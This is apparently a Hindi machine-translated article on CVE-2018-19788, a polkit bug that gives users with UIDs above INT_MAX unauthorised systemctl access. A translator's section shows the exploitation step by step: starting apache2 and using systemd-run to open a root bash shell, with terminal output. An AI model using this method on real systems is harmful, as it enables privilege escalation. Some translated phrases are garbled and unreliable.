UID> INT_MAX के साथ अनपेक्षित लिनक्स उपयोगकर्ता किसी भी कमांड को निष्पादित कर सकते हैं

बैठो, मेरे पास ऐसी खबर है जो अभी आपको हैरान कर रही है ...

लिनक्स ऑपरेटिंग सिस्टम में एक निर्विवाद भेद्यता होती है जो उपयोगकर्ता को कम विशेषाधिकार वाले किसी भी सिस्टमक्टेल कमांड को निष्पादित करने के लिए अधिकृत करने की अनुमति देता है (और यहां तक ​​कि रूट - लगभग अनुवादक बन जाता है) यदि उसका यूआईडी 2147483647 से अधिक है।



वर्णित भेद्यता, जिसे CVE-2018-19788 के रूप में ट्रैक किया गया है, पॉलिसीकीट लाइब्रेरी (जिसे पोलकिट के रूप में भी जाना जाता है) संस्करण 0.115 में स्थित है, जो कि Red Hat, Debian, Ubuntu और CentOS सहित अधिकांश लोकप्रिय लिनक्स वितरणों पर पूर्वस्थापित है। पोलकिट यूनिक्स-जैसी प्रणालियों पर एक उपकरण है जिसका उपयोग नीतियों को परिभाषित करने और विशेषाधिकार प्राप्त प्रक्रियाओं के साथ विशेषाधिकार प्राप्त करने के लिए किया जाता है। सुडो के विपरीत, यह उपयोगकर्ता प्रक्रिया प्रशासक के विशेषाधिकार नहीं देता है, लेकिन आपको ठीक से नियंत्रित करने की अनुमति देता है कि क्या अनुमति है और क्या निषिद्ध है।

INT_MAX से अधिक UID वाले किसी भी उपयोगकर्ता के अधिकारों के लिए PolicyKit अनुरोधों की जांच करने में त्रुटि के कारण भेद्यता है। जहां INT_MAX एक स्थिर है जो पूर्णांक प्रकार के पूर्णांक चर का अधिकतम मूल्य संग्रहीत करता है, जो 2147483647 (हेक्साडेसिमल 0x7FFFFFFF में) है।

इस प्रकार, अगर हम किसी भी यूआईडी के साथ एक खाता बनाते हैं जो INT_MAX से अधिक है, तो पॉलिसीकीट घटक किसी भी व्यवस्थित कमांड को सफलतापूर्वक निष्पादित करेगा।

ट्विटर सिक्योरिटी रिसर्चर रिच मिर्च, जिन्होंने खुद को " 0xm1rch " के रूप में पेश किया , ने एक प्रमाण जारी किया , जिसमें बताया गया था कि 4,000,000,000 यूआईडी वाले यूजर्स की आवश्यकता के प्रति संवेदनशीलता का सफलतापूर्वक प्रदर्शन करने के लिए शोषण (PoC)।

Red Hat अनुशंसा करता है कि सिस्टम प्रशासक किसी भी नकारात्मक UID या UID को 2147483646 से अधिक की अनुमति न दें, ताकि पैच जारी होने से पहले समस्या का निवारण हो सके।

अनुवादक से ऑपरेशन के कई तरीके

पहला तरीका सिर्फ़ सिस्टेक्ट्ल के माध्यम से है। मैंने एक बड़े UID के साथ एक उपयोगकर्ता बनाया, फिर apache2 चलाने की कोशिश की:

1) पहले जाँच की कि वह झूठ बोल रहा था

$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: inactive (dead) 

2) शुरू करने की कोशिश की, लेकिन एक त्रुटि मिली

 $ systemctl start apache2 (process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) 

3) लेकिन फिर यह सुनिश्चित किया कि यह अभी भी शुरू हो

 $ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2829 (apache2) Tasks: 55 (limit: 4526) CGroup: /system.slice/apache2.service ├─2829 /usr/sbin/apache2 -k start ├─2830 /usr/sbin/apache2 -k start └─2831 /usr/sbin/apache2 -k start 

दूसरा तरीका है सिस्टमड के जरिए बैश चलाना। मैंने निम्नलिखित कमांड को चलाया, एफएस के मूल में एक टेक्स्ट डॉक्यूमेंट बनाया, उसमें एक पंक्ति जोड़ी, और परिणाम की जांच की

 $ systemd-run -t /bin/bash (process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. # echo hello > /test.txt # cat /test.txt hello 

अपनी ubunt में प्रयोग करते समय, मुझे ऐसा एक पैटर्न भी मिला: यदि इस तरह के यूआईडी वाले उपयोगकर्ता खाता सेटिंग्स में जाते हैं, तो सभी सेटिंग्स अनलॉक हो जाती हैं, जो आपको किसी भी उपयोगकर्ता को संपादित करने / हटाने की अनुमति देता है।

सवाल यह है कि पीड़ित होस्ट पर ऐसे यूआईडी वाले उपयोगकर्ता की उपस्थिति का "कारण" अब कैसे है, और क्या यह बग वास्तव में एक खतरा है?